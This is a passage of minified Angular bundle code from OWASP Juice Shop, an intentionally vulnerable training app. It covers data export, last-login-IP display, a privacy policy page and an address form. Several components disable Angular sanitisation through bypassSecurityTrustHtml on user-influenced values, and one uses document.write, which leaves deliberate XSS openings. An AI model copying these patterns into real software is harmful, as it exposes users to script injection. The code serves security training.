#disableTwoFactorAuth[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.two-factor-qr-code[_ngcontent-%COMP%]{margin:16px 0}#two-factor-auth-disable[_ngcontent-%COMP%]{margin-top:32px}#two-factor-auth-disable-title[_ngcontent-%COMP%]{margin-bottom:0}button[_ngcontent-%COMP%]{margin-top:5px}"]}),n})(),Fe=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getCaptcha(){return this.http.get(this.hostServer+"/rest/image-captcha/").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Be=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/user"}erase(e){return this.http.post(this.host+"/erasure-request",e).pipe((0,_.K)(o=>{throw o}))}dataExport(e){return this.http.post(this.host+"/data-export",e).pipe((0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Jr(n,a){if(1&n&&(t.TgZ(0,"div")(1,"p",13),t._uU(2),t.qZA()()),2&n){const e=t.oxw();t.xp6(2),t.Oqu(e.error)}}function Qr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}function Hr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}const Gr=function(){return{length:"5"}};function jr(n,a){if(1&n&&(t.TgZ(0,"div")(1,"div")(2,"span",14),t._uU(3,"CAPTCHA "),t.TgZ(4,"span"),t._uU(5,":"),t.qZA()(),t._UZ(6,"div",15),t.qZA(),t.TgZ(7,"mat-form-field",16)(8,"mat-label",2),t._uU(9,"ENTER_CAPTCHA"),t.qZA(),t._UZ(10,"input",17,18),t.ALo(12,"translate"),t.TgZ(13,"mat-hint",19),t._uU(14),t.qZA(),t.YNc(15,Qr,2,0,"mat-error",20),t.YNc(16,Hr,2,0,"mat-error",20),t.qZA()()),2&n){const e=t.MAs(11),o=t.oxw();t.xp6(6),t.Q6J("innerHTML",o.captcha,t.oJD),t.xp6(4),t.s9C("placeholder",t.xi3(12,6,"TYPE_THESE_LETTERS",t.DdM(9,Gr))),t.Q6J("formControl",o.captchaControl),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/5"),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.minlength)}}let Kr=(()=>{class n{constructor(e,o,i){this.sanitizer=e,this.imageCaptchaService=o,this.dataSubjectService=i,this.captchaControl=new s.p4("",[s.kI.required,s.kI.minLength(5)]),this.formatControl=new s.p4("",[s.kI.required]),this.dataRequest=void 0,this.presenceOfCaptcha=!1}ngOnInit(){this.needCaptcha(),this.dataRequest={}}needCaptcha(){const e=new Date,o=localStorage.getItem("lstdtxprt")?new Date(JSON.parse(String(localStorage.getItem("lstdtxprt")))):new Date(0);e.getTime()-o.getTime()<3e5&&(this.getNewCaptcha(),this.presenceOfCaptcha=!0)}getNewCaptcha(){this.imageCaptchaService.getCaptcha().subscribe(e=>{this.captcha=this.sanitizer.bypassSecurityTrustHtml(e.image)})}save(){this.presenceOfCaptcha&&(this.dataRequest.answer=this.captchaControl.value),this.dataRequest.format=this.formatControl.value,this.dataSubjectService.dataExport(this.dataRequest).subscribe(e=>{this.error=null,this.confirmation=e.confirmation,this.userData=e.userData,window.open("","_blank","width=500")?.document.write(this.userData),this.lastSuccessfulTry=new Date,localStorage.setItem("lstdtxprt",JSON.stringify(this.lastSuccessfulTry)),this.ngOnInit(),this.resetForm()},e=>{this.error=e.error,this.confirmation=null,this.resetFormError()})}resetForm(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue(""),this.formatControl.markAsUntouched(),this.formatControl.markAsPristine(),this.formatControl.setValue("")}resetFormError(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(k.H7),t.Y36(Fe),t.Y36(Be))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-data-export"]],decls:26,vars:7,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[4,"ngIf"],["id","data-export-form",1,"form-container"],["id","formatControl","aria-label","Select an option",3,"formControl"],["translate","",1,"radio-label"],["value","1","aria-label","Export Option JSON"],["value","2","aria-label","Export Option PDF","disabled",""],["value","3","aria-label","Export Option Excel","disabled",""],["type","submit","id","submitButton","color","primary","mat-raised-button","","aria-label","Button to send the request",2,"margin-top","15px",3,"disabled","click"],[1,"material-icons"],[1,"hint"],[1,"error"],["translate","",2,"float","left","margin-top","40px","font-weight","500","margin-bottom","20px"],[1,"captcha-image",2,"margin-left","10px",3,"innerHTML"],["appearance","outline","color","accent",2,"margin-top","10px","width","100%"],["type","text","matInput","","maxlength","5","aria-label","Input for the CAPTCHA",3,"formControl","placeholder"],["captchaInput",""],["align","end"],["translate","",4,"ngIf"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_REQUEST_DATA_EXPORT"),t.qZA(),t.YNc(4,Jr,3,1,"div",3),t.TgZ(5,"div",4)(6,"mat-radio-group",5)(7,"mat-label",6),t._uU(8,"EXPORT_LABEL "),t.TgZ(9,"span"),t._uU(10,":"),t.qZA()(),t.TgZ(11,"mat-radio-button",7),t._uU(12,"JSON"),t.qZA(),t.TgZ(13,"mat-radio-button",8),t._uU(14,"PDF"),t.qZA(),t.TgZ(15,"mat-radio-button",9),t._uU(16,"Excel"),t.qZA()(),t.YNc(17,jr,17,10,"div",3),t.qZA(),t.TgZ(18,"button",10),t.NdJ("click",function(){return o.save()}),t.TgZ(19,"i",11),t._uU(20," save_alt "),t.qZA(),t._uU(21),t.ALo(22,"translate"),t.qZA(),t.TgZ(23,"div",12)(24,"span",2),t._uU(25,"DATA_EXPORT_HINT"),t.qZA()()()()),2&e&&(t.xp6(4),t.Q6J("ngIf",o.error),t.xp6(2),t.Q6J("formControl",o.formatControl),t.xp6(11),t.Q6J("ngIf",o.presenceOfCaptcha),t.xp6(1),t.Q6J("disabled",o.formatControl.invalid||o.captchaControl.invalid&&o.presenceOfCaptcha),t.xp6(3),t.hij(" ",t.lcZ(22,5,"BTN_REQUEST")," "))},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,nt.VQ,nt.U0,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;height:auto;margin-bottom:50px;margin-left:auto;margin-right:auto;min-width:320px;width:25%}#submitButton[_ngcontent-%COMP%]{margin-left:20%;width:60%}.hint[_ngcontent-%COMP%]{display:flex;font-size:10px;justify-content:center;margin-top:5px}.mat-radio-button[_ngcontent-%COMP%] ~ .mat-radio-button[_ngcontent-%COMP%]{margin-bottom:16px;margin-left:16px}.radio-label[_ngcontent-%COMP%]{font-weight:500;margin-right:8px}.captcha-image[_ngcontent-%COMP%]{float:left;margin-bottom:10px;margin-top:20px}"]}),n})(),Wr=(()=>{class n{constructor(e){this.sanitizer=e,this.lastLoginIp="?"}ngOnInit(){try{this.parseAuthToken()}catch(e){console.log(e)}}parseAuthToken(){let e={};const o=localStorage.getItem("token");o&&(e=It(o),e.data.lastLoginIp&&(this.lastLoginIp=this.sanitizer.bypassSecurityTrustHtml(`<small>${e.data.lastLoginIp}</small>`)))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-last-login-ip"]],decls:8,vars:1,consts:[[1,"ipCard","mat-elevation-z6"],["translate",""],[2,"margin-bottom","15px"],[3,"innerHTML"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"LAST_LOGIN_IP"),t.qZA(),t.TgZ(3,"p",2)(4,"span",1),t._uU(5,"IP_ADDRESS"),t.qZA(),t._uU(6,"\\xa0\\xa0"),t._UZ(7,"span",3),t.qZA()()),2&e&&(t.xp6(7),t.Q6J("innerHTML",o.lastLoginIp,t.oJD))},dependencies:[u.Pi,T.a8],styles:[".ipCard[_ngcontent-%COMP%]{display:block;margin:0 auto 5%;min-width:320px;width:25%}"]}),n})(),zr=(()=>{class n{constructor(e,o){this._document=e,this.configurationService=o,this.applicationName="OWASP Juice Shop"}ngOnInit(){this.applicationUrl=this._document.location.protocol+"//"+this._document.location.hostname,this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.name&&(this.applicationName=e.application.name),this.privacyContactEmail=e?.application?.privacyContactEmail?e.application.privacyContactEmail:`donotreply@${this._document.location.hostname}`},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.K0),t.Y36(b.e))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-privacy-policy"]],decls:169,vars:9,consts:[[1,"mat-elevation-z6"],[1,"privacy-policy"],["translate",""],[1,"hot"],["href","https://www.freeprivacypolicy.com/","aria-label","Link to the page where the privacy policy was created"],[1,"divider"],["src","assets/public/images/padding/81px.png"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"section",1)(2,"h1",2),t._uU(3,"TITLE_PRIVACY_POLICY"),t.qZA(),t.TgZ(4,"p"),t._uU(5,"Effective date: March 15, 2019"),t.qZA(),t.TgZ(6,"p"),t._uU(7),t.TgZ(8,"span",3),t._uU(9),t.qZA(),t._uU(10,\' website (the "Service").\'),t.qZA(),t.TgZ(11,"p"),t._uU(12),t.TgZ(13,"a",4),t._uU(14,"Free Privacy Policy website"),t.qZA(),t._uU(15,"."),t.qZA(),t.TgZ(16,"p"),t._uU(17),t.qZA(),t._UZ(18,"mat-divider",5),t.TgZ(19,"h2"),t._uU(20,"A. Information Collection And Use"),t.qZA(),t.TgZ(21,"p"),t._uU(22,"We collect several different types of information for various purposes to provide and improve our Service to you."),t.qZA(),t.TgZ(23,"h3"),t._uU(24,"A1. Types of Data Collected"),t.qZA(),t.TgZ(25,"h4"),t._uU(26,"A1.1 Personal Data"),t.qZA(),t.TgZ(27,"p"),t._uU(28,\'While using our Service, we may ask you to provide us with certain personally identifiable information that can be used to contact or identify you ("Personal Data"). Personally identifiable information may include, but is not limited to:\'),t.qZA(),t.TgZ(29,"ul")(30,"li"),t._uU(31,"Email address"),t.qZA(),t.TgZ(32,"li"),t._uU(33,"Address, State, Province, ZIP/Postal code, City"),t.qZA(),t.TgZ(34,"li"),t._uU(35,"Cookies and Usage Data"),t.qZA()(),t.TgZ(36,"h4"),t._uU(37,"A1.2 Usage Data"),t.qZA(),t.TgZ(38,"p")(39,"span",3),t._uU(40,"We may also"),t.qZA(),t._uU(41,\' collect information how the Service is accessed and used ("Usage Data"). This Usage Data may include information such as your computer\\\'s Internet Protocol address (e.g. IP address), browser type, browser version, the pages of our Service that you visit, the time and date of your visit, the time spent on those pages, unique device identifiers and other diagnostic data.\'),t.qZA(),t.TgZ(42,"h4"),t._uU(43,"A1.3 Tracking & Cookies Data"),t.qZA(),t.TgZ(44,"p"),t._uU(45,"We use cookies and similar tracking technologies to track the activity on our Service and hold certain information."),t.qZA(),t.TgZ(46,"p"),t._uU(47,"Cookies are files with small amount of data which may include an anonymous unique identifier. Cookies are sent to your browser from a website and stored on your device. Tracking technologies also used are beacons, tags, and scripts to collect and track information and to improve and analyze our Service."),t.qZA(),t.TgZ(48,"p"),t._uU(49,"You can "),t.TgZ(50,"span",3),t._uU(51,"instruct you"),t.qZA(),t._uU(52,"r browser "),t.TgZ(53,"span",3),t._uU(54,"to refuse all"),t.qZA(),t._uU(55," cookies or to indicate when a cookie is being sent. However, if you do not accept cookies, you may not be able to use some portions of our Service."),t.qZA(),t.TgZ(56,"p"),t._uU(57,"Examples of Cookies we use:"),t.qZA(),t.TgZ(58,"ul")(59,"li")(60,"strong"),t._uU(61,"Session Cookies:"),t.qZA(),t._uU(62," \\xa0We use Session Cookies to operate our Service."),t.qZA(),t.TgZ(63,"li")(64,"strong"),t._uU(65,"Preference Cookies:"),t.qZA(),t._uU(66,"\\xa0We use Preference Cookies to remember your preferences and various settings. "),t.qZA(),t.TgZ(67,"li")(68,"strong"),t._uU(69,"Security Cookies:"),t.qZA(),t._uU(70,"\\xa0We use Security Cookies for security purposes."),t.qZA()(),t.TgZ(71,"h3"),t._uU(72,"A2. Use of Data"),t.qZA(),t.TgZ(73,"p"),t._uU(74),t.qZA(),t.TgZ(75,"ul")(76,"li"),t._uU(77,"To provide and maintain the Service"),t.qZA(),t.TgZ(78,"li"),t._uU(79,"To notify you about changes to our Service"),t.qZA(),t.TgZ(80,"li"),t._uU(81,"To allow you to participate in interactive features of our Service when you choose to do so"),t.qZA(),t.TgZ(82,"li"),t._uU(83,"To provide customer care and support"),t.qZA(),t.TgZ(84,"li"),t._uU(85,"To provide analysis or valuable information so that we can improve the Service"),t.qZA(),t.TgZ(86,"li"),t._uU(87,"To monitor the usage of the Service"),t.qZA(),t.TgZ(88,"li"),t._uU(89,"To detect, prevent and address technical issues"),t.qZA()(),t._UZ(90,"mat-divider",5),t.TgZ(91,"h2"),t._uU(92,"B. Transfer Of Data"),t.qZA(),t.TgZ(93,"p"),t._uU(94,"Your information, including Personal Data, may be transferred to \\u2014 and maintained on \\u2014 computers located outside of your state, province, country or other governmental jurisdiction where the data protection laws may differ than those from your jurisdiction."),t.qZA(),t.TgZ(95,"p"),t._uU(96,"If you are located outside Germany and choose to provide information to us, please note that we transfer the data, including Personal Data, to Germany and process it there."),t.qZA(),t.TgZ(97,"p"),t._uU(98,"Your consent to this Privacy Policy followed by your submission of such information represents your agreement to that transfer."),t.qZA(),t.TgZ(99,"p"),t._uU(100),t.TgZ(101,"span",3),t._uU(102,"reasonably necessary"),t.qZA(),t._uU(103," to ensure that your data is treated securely and in accordance with this Privacy Policy and no transfer of your Personal Data will take place to an organization or a country unless there are adequate controls in place including the security of your data and other personal information."),t.qZA(),t._UZ(104,"mat-divider",5),t.TgZ(105,"h2"),t._uU(106,"C. Disclosure Of Data"),t.qZA(),t.TgZ(107,"h3"),t._uU(108,"C1. Legal Requirements"),t.qZA(),t.TgZ(109,"p"),t._uU(110),t.qZA(),t.TgZ(111,"ul")(112,"li"),t._uU(113,"To comply with a legal obligation"),t.qZA(),t.TgZ(114,"li"),t._uU(115),t.qZA(),t.TgZ(116,"li"),t._uU(117,"To prevent or investigate possible wrongdoing in connection with the Service"),t.qZA(),t.TgZ(118,"li"),t._uU(119,"To protect the personal safety of users of the Service or the public"),t.qZA(),t.TgZ(120,"li"),t._uU(121,"To protect against legal liability"),t.qZA()(),t._UZ(122,"mat-divider",5),t.TgZ(123,"h2"),t._uU(124,"D. Security Of Data"),t.qZA(),t.TgZ(125,"p"),t._uU(126,"The security of your data is important to us, but remember that no method of transmission over the Internet, or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Data, we cannot guarantee its absolute security."),t.qZA(),t._UZ(127,"mat-divider",5),t.TgZ(128,"h2"),t._uU(129,"E. Service Providers"),t.qZA(),t.TgZ(130,"p"),t._uU(131,\'We may employ third party companies and individuals to facilitate our Service ("Service Providers"), to provide the Service on our behalf, to perform Service-related services or to assist us in analyzing how our Service is used.\'),t.qZA(),t.TgZ(132,"p"),t._uU(133,"These third parties have access to your Personal Data only to perform these tasks on our behalf and are obligated not to disclose or use it for any other purpose."),t.qZA(),t._UZ(134,"mat-divider",5),t.TgZ(135,"h2"),t._uU(136,"F. Links To Other Sites"),t.qZA(),t.TgZ(137,"p"),t._uU(138,"Our Service may contain links to other sites that are not operated by us. If you click on a third party link, you will be directed to that third party\'s site. We strongly advise you to review the Privacy Policy of every site you visit."),t.qZA(),t.TgZ(139,"p"),t._uU(140,"We have no control over and assume no "),t.TgZ(141,"span",3),t._uU(142,"responsibility"),t.qZA(),t._uU(143," for the content, privacy policies or practices of any third party sites or services."),t.qZA(),t._UZ(144,"mat-divider",5),t.TgZ(145,"h2"),t._uU(146,"G. Children\'s Privacy"),t.qZA(),t.TgZ(147,"p"),t._uU(148,\'Our Service does not address anyone under the age of 18 ("Children").\'),t.qZA(),t.TgZ(149,"p"),t._uU(150,"We do not knowingly collect personally identifiable information from anyone under the age of 18. If you are a parent or guardian and you are aware that your Children has provided us with Personal Data, please contact us. If we become aware that we have collected Personal Data from children without verification of parental consent, we take steps to remove that information from our servers."),t.qZA(),t._UZ(151,"mat-divider",5),t.TgZ(152,"h2"),t._uU(153,"H. Changes To This Privacy Policy"),t.qZA(),t.TgZ(154,"p"),t._uU(155,"We may update our Privacy Policy from time to time. We will notify you of any changes by posting the new Privacy Policy on this page."),t.qZA(),t.TgZ(156,"p"),t._uU(157,\'We will let you know via email and/or a prominent notice on our Service, prior to the change becoming effective and update the "effective date" at the top of this Privacy Policy.\'),t.qZA(),t.TgZ(158,"p"),t._uU(159,"You are advised to review this Privacy Policy periodically for any changes. Changes to this Privacy Policy are effective when they are posted on this page."),t.qZA(),t._UZ(160,"mat-divider",5),t.TgZ(161,"h2"),t._uU(162,"Contact Us"),t.qZA(),t.TgZ(163,"p"),t._uU(164,"If you have any questions about this Privacy Policy, please contact us:"),t.qZA(),t.TgZ(165,"ul")(166,"li"),t._uU(167),t.qZA()()(),t._UZ(168,"img",6),t.qZA()),2&e&&(t.xp6(7),t.hij("",o.applicationName,\' ("us", "we", or "our") operates the \'),t.xp6(2),t.Oqu(o.applicationUrl),t.xp6(3),t.hij("This page informs you of our policies regarding the collection, use, and disclosure of personal data when you use our Service and the choices you have associated with that data. Our Privacy Policy for ",o.applicationName," is created with the help of the "),t.xp6(5),t.hij("We use your data to provide and improve the Service. By using the Service, you agree to the collection and use of information in accordance with this policy. Unless otherwise defined in this Privacy Policy, terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, accessible from ",o.applicationUrl," ."),t.xp6(57),t.hij("",o.applicationName," uses the collected data for various purposes:"),t.xp6(26),t.hij("",o.applicationName," will take all steps "),t.xp6(10),t.hij("",o.applicationName," may disclose your Personal Data in the good faith belief that such action is necessary to:"),t.xp6(5),t.hij("To protect and defend the rights or property of ",o.applicationName,""),t.xp6(52),t.hij("By email: ",o.privacyContactEmail,""))},dependencies:[u.Pi,T.a8,z.d],styles:[".privacy-policy[_ngcontent-%COMP%]{margin-bottom:15px;margin-left:8.33333%;width:83.3333%}p[_ngcontent-%COMP%]{margin-bottom:15px;text-align:justify;text-justify:inter-word}mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:50px;margin-left:auto;margin-right:auto;width:90%}h2[_ngcontent-%COMP%]{padding-top:10px}h3[_ngcontent-%COMP%]{font-weight:550}strong[_ngcontent-%COMP%]{font-style:italic;font-weight:550}h4[_ngcontent-%COMP%]{text-decoration:underline}.hot[_ngcontent-%COMP%]:hover{text-shadow:0 0 20px #fefcc9,10px -10px 30px #feec85,-20px -20px 40px #ffae34,20px -40px 50px #ec760c,-20px -60px 60px #cd4606,0 -80px 70px #973716,10px -90px 80px #451b0e}.divider[_ngcontent-%COMP%]{border-top-width:4px!important;margin-left:9%!important;width:82%!important}"]}),n})();function $r(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_COUNTRY "),t.qZA())}function Vr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NAME "),t.qZA())}function Xr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NUMBER "),t.qZA())}const ts=function(){return{range:"1000000-9999999999"}};function es(n,a){1&n&&(t.TgZ(0,"mat-error",18),t._uU(1,"INVALID_MOBILE_NUMBER "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,ts))}function ns(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_ZIP "),t.qZA())}function os(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_ADDRESS"),t.qZA())}function as(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_CITY "),t.qZA())}const is=function(){return{length:"160"}};let Re=(()=>{class n{constructor(e,o,i,r,l,m,v){this.location=e,this.formSubmitService=o,this.addressService=i,this.router=r,this.activatedRoute=l,this.translate=m,this.snackBarHelperService=v,this.countryControl=new s.p4("",[s.kI.required]),this.nameControl=new s.p4("",[s.kI.required]),this.numberControl=new s.p4("",[s.kI.required,s.kI.min(1111111),s.kI.max(9999999999)]),this.pinControl=new s.p4("",[s.kI.required,s.kI.maxLength(8)]),this.addressControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.cityControl=new s.p4("",[s.kI.required]),this.stateControl=new s.p4,this.address=void 0,this.mode="create",this.addressId=void 0}ngOnInit(){this.address={},this.activatedRoute.paramMap.subscribe(e=>{e.has("addressId")?(this.mode="edit",this.addressId=e.get("addressId"),this.addressService.getById(this.addressId).subscribe(o=>{this.initializeForm(o)})):(this.mode="create",this.addressId=null)}),this.formSubmitService.attachEnterKeyHandler("address-form","submitButton",()=>{this.save()})}save(){this.address.country=this.countryControl.value,this.address.fullName=this.nameControl.value,this.address.mobileNum=this.numberControl.value,this.address.zipCode=this.pinControl.value,this.address.streetAddress=this.addressControl.value,this.address.city=this.cityControl.value,this.address.state=this.stateControl.value,"edit"===this.mode?this.addressService.put(this.addressId,this.address).subscribe(e=>{this.address={},this.ngOnInit(),this.resetForm(),this.routeToPreviousUrl(),this.translate.get("ADDRESS_UPDATED",{city:e.city}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")})},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.address={},this.resetForm()}):this.addressService.save(this.address).subscribe(e=>{this.address={},this.ngOnInit(),this.resetForm(),this.routeToPreviousUrl(),this.translate.get("ADDRESS_ADDED",{city:e.city}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")})},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.address={},this.resetForm()})}initializeForm(e){this.countryControl.setValue(e.country),this.nameControl.setValue(e.fullName),this.numberControl.setValue(e.mobileNum),this.pinControl.setValue(e.zipCode),this.addressControl.setValue(e.streetAddress),this.cityControl.setValue(e.city),this.stateControl.setValue(e.state)}routeToPreviousUrl(){this.location.back()}resetForm(){this.countryControl.markAsUntouched(),this.countryControl.markAsPristine(),this.countryControl.setValue(""),this.nameControl.markAsUntouched(),this.nameControl.markAsPristine(),this.nameControl.setValue(""),this.numberControl.markAsUntouched(),this.numberControl.markAsPristine(),this.numberControl.setValue(""),this.pinControl.markAsUntouched(),this.pinControl.markAsPristine(),this.pinControl.setValue(""),this.addressControl.markAsUntouched(),this.addressControl.markAsPristine(),this.addressControl.setValue(""),this.cityControl.markAsUntouched(),this.cityControl.markAsPristine(),this.cityControl.setValue(""),this.stateControl.markAsUntouched(),this.stateControl.markAsPristine(),this.stateControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.Ye),t.Y36(rt),t.Y36(mt),t.Y36(U.F0),t.Y36(U.gz),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address-create"]],decls:69,vars:49,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["id","address-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","",3,"formControl","placeholder"],["translate","",4,"ngIf"],["type","number","matInput","",3,"formControl","placeholder"],["translate","",3,"translateParams",4,"ngIf"],["pin",""],["align","end"],["id","address","matInput","","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160",3,"formControl","placeholder"],["adress",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["mat-stroked-button","",1,"btn-return",3,"click"],["type","submit","id","submitButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"material-icons"],["translate","",3,"translateParams"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"ADD_NEW_ADDRESS"),t.qZA(),t.TgZ(4,"div",3)(5,"mat-form-field",4)(6,"mat-label",2),t._uU(7,"LABEL_COUNTRY"),t.qZA(),t._UZ(8,"input",5),t.ALo(9,"translate"),t.YNc(10,$r,2,0,"mat-error",6),t.qZA(),t.TgZ(11,"mat-form-field",4)(12,"mat-label",2),t._uU(13,"LABEL_NAME"),t.qZA(),t._UZ(14,"input",5),t.ALo(15,"translate"),t.YNc(16,Vr,2,0,"mat-error",6),t.qZA(),t.TgZ(17,"mat-form-field",4)(18,"mat-label",2),t._uU(19,"LABEL_MOBILE_NUMBER"),t.qZA(),t._UZ(20,"input",7),t.ALo(21,"translate"),t.YNc(22,Xr,2,0,"mat-error",6),t.YNc(23,es,2,2,"mat-error",8),t.qZA(),t.TgZ(24,"mat-form-field",4)(25,"mat-label",2),t._uU(26,"LABEL_ZIP_CODE"),t.qZA(),t._UZ(27,"input",5,9),t.ALo(29,"translate"),t.TgZ(30,"mat-hint",10),t._uU(31),t.qZA(),t.YNc(32,ns,2,0,"mat-error",6),t.qZA(),t.TgZ(33,"mat-form-field",4)(34,"mat-label",2),t._uU(35,"LABEL_ADDRESS"),t.qZA(),t._UZ(36,"textarea",11,12),t.ALo(38,"translate"),t.TgZ(39,"mat-hint",2),t._UZ(40,"i",13),t.TgZ(41,"em",14),t._uU(42),t.ALo(43,"translate"),t.qZA()(),t.TgZ(44,"mat-hint",10),t._uU(45),t.qZA(),t.YNc(46,os,2,0,"mat-error",6),t.qZA(),t.TgZ(47,"mat-form-field",4)(48,"mat-label",2),t._uU(49,"LABEL_CITY"),t.qZA(),t._UZ(50,"input",5),t.ALo(51,"translate"),t.YNc(52,as,2,0,"mat-error",6),t.qZA(),t.TgZ(53,"mat-form-field",4)(54,"mat-label",2),t._uU(55,"LABEL_STATE"),t.qZA(),t._UZ(56,"input",5),t.ALo(57,"translate"),t.qZA()(),t.TgZ(58,"div")(59,"button",15),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(60,"mat-icon"),t._uU(61," navigate_before "),t.qZA(),t._uU(62),t.ALo(63,"translate"),t.qZA(),t.TgZ(64,"button",16),t.NdJ("click",function(){return o.save()}),t.TgZ(65,"i",17),t._uU(66," send "),t.qZA(),t._uU(67),t.ALo(68,"translate"),t.qZA()()()()),2&e){const i=t.MAs(28),r=t.MAs(37);t.xp6(8),t.Q6J("formControl",o.countryControl)("placeholder",t.lcZ(9,27,"MANDATORY_COUNTRY")),t.xp6(2),t.Q6J("ngIf",o.countryControl.invalid&&o.countryControl.errors.required),t.xp6(4),t.Q6J("formControl",o.nameControl)("placeholder",t.lcZ(15,29,"MANDATORY_NAME")),t.xp6(2),t.Q6J("ngIf",o.nameControl.invalid&&o.nameControl.errors.required),t.xp6(4),t.Q6J("formControl",o.numberControl)("placeholder",t.lcZ(21,31,"MANDATORY_NUMBER")),t.xp6(2),t.Q6J("ngIf",o.numberControl.invalid&&o.numberControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&(o.numberControl.errors.min||o.numberControl.errors.max)),t.xp6(4),t.Q6J("formControl",o.pinControl)("placeholder",t.lcZ(29,33,"MANDATORY_ZIP")),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/8"),t.xp6(1),t.Q6J("ngIf",o.pinControl.invalid&&o.pinControl.errors.required),t.xp6(4),t.Q6J("formControl",o.addressControl)("placeholder",t.lcZ(38,35,"MANDATORY_ADDRESS")),t.xp6(6),t.Oqu(t.xi3(43,37,"MAX_TEXTAREA_LENGTH",t.DdM(48,is))),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.addressControl.invalid&&o.addressControl.errors.required),t.xp6(4),t.Q6J("formControl",o.cityControl)("placeholder",t.lcZ(51,40,"MANDATORY_CITY")),t.xp6(2),t.Q6J("ngIf",o.cityControl.invalid&&o.cityControl.errors.required),t.xp6(4),t.Q6J("formControl",o.stateControl)("placeholder",t.lcZ(57,42,"STATE_PLACEHOLDER")),t.xp6(6),t.hij(" ",t.lcZ(63,44,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",o.countryControl.invalid||o.nameControl.invalid||o.numberControl.invalid||o.pinControl.invalid||o.addressControl.invalid||o.cityControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(68,46,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.wV,s.JJ,s.nD,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}#submitButton[_ngcontent-%COMP%]{float:right}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.btn-return[_ngcontent-%COMP%]{float:left}input[_ngcontent-%COMP%]::-webkit-outer-spin-button, input[_ngcontent-%COMP%]::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;margin:0}"]}),n})(),rs=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o,this.addressId=void 0,this.showNextButton=!0}getMessage(e){this.addressId=e}}return n.\\u0275fac=function(e){return 